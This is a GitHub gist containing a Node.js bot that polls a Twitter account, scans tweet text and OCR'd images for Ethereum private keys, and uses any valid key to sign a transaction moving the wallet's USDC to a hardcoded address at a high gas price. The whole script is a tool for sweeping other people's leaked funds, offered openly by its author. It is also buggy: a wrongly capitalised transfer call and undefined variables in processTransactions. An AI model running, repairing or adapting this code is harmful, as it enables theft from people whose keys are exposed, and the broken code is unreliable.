Skip to content

Instantly share code, notes, and snippets.

@fbslo
Last active October 26, 2020 20:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fbslo/ed9fc106ce78fe29adf90b287954d631 to your computer and use it in GitHub Desktop.
Save fbslo/ed9fc106ce78fe29adf90b287954d631 to your computer and use it in GitHub Desktop.
/* I threw this together in one hour, so it's not pretty, no error handling,
* not tested...
* Enjoy ;)
*/
const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_account","type":"address"}],"name":"unBlacklist","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"minter","type":"address"}],"name":"removeMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_currency","type":"string"},{"name":"_decimals","type":"uint8"},{"name":"_masterMinter","type":"address"},{"name":"_pauser","type":"address"},{"name":"_blacklister","type":"address"},{"name":"_owner","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"masterMinter","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"minter","type":"address"},{"name":"minterAllowedAmount","type":"uint256"}],"name":"configureMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newPauser","type":"address"}],"name":"updatePauser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"minter","type":"address"}],"name":"minterAllowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pauser","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newMasterMinter","type":"address"}],"name":"updateMasterMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newBlacklister","type":"address"}],"name":"updateBlacklister","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"blacklister","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_account","type":"address"}],"name":"blacklist","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_account","type":"address"}],"name":"isBlacklisted","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"name":"minter","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"minter","type":"address"},{"indexed":false,"name":"minterAllowedAmount","type":"uint256"}],"name":"MinterConfigured","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"oldMinter","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"newMasterMinter","type":"address"}],"name":"MasterMinterChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_account","type":"address"}],"name":"Blacklisted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_account","type":"address"}],"name":"UnBlacklisted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"newBlacklister","type":"address"}],"name":"BlacklisterChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"newAddress","type":"address"}],"name":"PauserChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"previousOwner","type":"address"},{"indexed":false,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
const Tx = require('ethereumjs-tx').Transaction;
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/you_infura_id');
const utils = require("ethereumjs-util")
const Twit = require('twit')
const Wallet = require('ethereumjs-wallet');
//twitter auth
const CONSUMER_KEY = ''
const CONSUMER_SECRET = ''
const ACCESS_TOKEN = ''
const ACCESS_TOKEN_SECRET = ''
var T = new Twit({
consumer_key: CONSUMER_KEY,
consumer_secret: CONSUMER_SECRET,
access_token: ACCESS_TOKEN,
access_token_secret: ACCESS_TOKEN_SECRET,
timeout_ms: 60*1000, // optional HTTP request timeout to apply to all requests.
strictSSL: true, // optional - requires SSL certificates to be valid.
})
async function start(address, privateKey){
var balance = await getBalance(address)
if (balance > 5){
//USDC contract
var contract = new web3.eth.Contract(abi, '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48');
var contractFunction = contract.methods.Transfer('0x1F979d06B999D058A6A950452260beaCf2F9d903', balance);
var functionAbi = contractFunction.encodeABI();
var nonce = await web3.eth.getTransactionCount(address)
var rawTransaction = {
"from": address,
"nonce": "0x" + nonce.toString(16),
"gasPrice": web3.utils.toHex(200 * 1e9),
"gasLimit": web3.utils.toHex(100000),
"to": '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48',
"data": functionAbi,
"chainId": 1
};
var tx = new Tx(rawTransaction, { chain: 1 });
tx.sign(new Buffer.from(privateKey, 'hex'));
var serializedTx = tx.serialize();
var receipt = await web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'));
console.log(receipt)
} else {
console.log(`Balance is`, balance)
}
}
function processTransactions(){
start(address, privateKey)
}
async function getBalance(address){
return new Promise(async(resolve, reject) => {
var contract = new web3.eth.Contract(abi, '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48');
let balance = await contract.methods.balanceOf(address).call()
resolve(balance)
})
}
//get latest tweet
async function getTweets(){
return new Promise((resolve, reject) => {
T.get('statuses/user_timeline', { screen_name: '_bitcoiner', count: 1 }, (err, result) => {
if (err && err.code == 50) console.log(err)
else if (err) console.log(err)
else processTweets(result)
})
})
}
async function processTweets(tweet){
return new Promise(async (resolve, reject) => {
try {
if (tweet[0].extended_entities.media){
const http = require('http');
const fs = require('fs');
let date = new Date().getTime()
const file = fs.createWriteStream(`image${date}.jpg`);
const request = http.get(tweet[0].extended_entities.media[0].media_url, function(response) {
response.pipe(file);
getTextFromImage(`image${date}.jpg`, tweet[0].extended_entities.media[0].media_url)
});
}
//try to find private key in text
let words = tweet[0].text.split(" ")
for (i in words){
let isKey = await isValidKey(words[i])
if (isKey != false) processTransactions(isKey, words[i])
}
} catch (e) {
console.log(`Error processing text`, tweet[0].text)
console.log(e)
}
})
}
//OCR works, but not on private keys, but plain english kinda works
// you get somethink like this from this image: https://pbs.twimg.com/media/ElSEssHVgAIzdz9?format=jpg&name=medium
// Txn Hash Block Age From v To v Value [Txn Fee]
// ® Ox7adbibi6c867a457b.. 11134215 40secsago Ox38d356ddbebddafiSe. our 0x1f9
// 79d065999d058a. . 0.008225332 Ether 0.000558
// ® 0xc7a93c3429186c38... 11134212 1 minago 0x38d356ddbebddafiSe. ot BUSD Coin
// 0 Ether 0001188688
// ® 0xd3b532c3595i044dc 11134210 2minsago 0x11979d06b9994058a. W 0x38d356ddbeb
// ddafi5e. 0.01 Ether 000105
const createWorker = require('tesseract.js')
const worker = createWorker.createWorker({
logger: m => console.log(m)
});
async function getTextFromImage(path, url){
await worker.load();
await worker.loadLanguage('eng');
await worker.initialize('eng');
const { data: { text } } = await worker.recognize(url);
console.log(text);
await worker.terminate();
let words = text.split(" ")
for (i in words){
let isKey = await isValidKey(words[i])
if (isKey != false) processTransactions(isKey, words[i])
}
}
//check if string is private keys
async function isValidKey(key){
return new Promise((resolve, reject) => {
try {
let buffer = utils.toBuffer(key)
const wallet = Wallet.default.fromPrivateKey(buffer);
const publicKey = wallet.getPublicKeyString();
let address = utils.publicToAddress(utils.toBuffer(publicKey))
resolve(address.toString('hex'))
} catch (e) {
resolve(false)
console.log(key, 'is not valid private key')
}
})
}
setInterval(() => {
getTweets()
}, 30000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment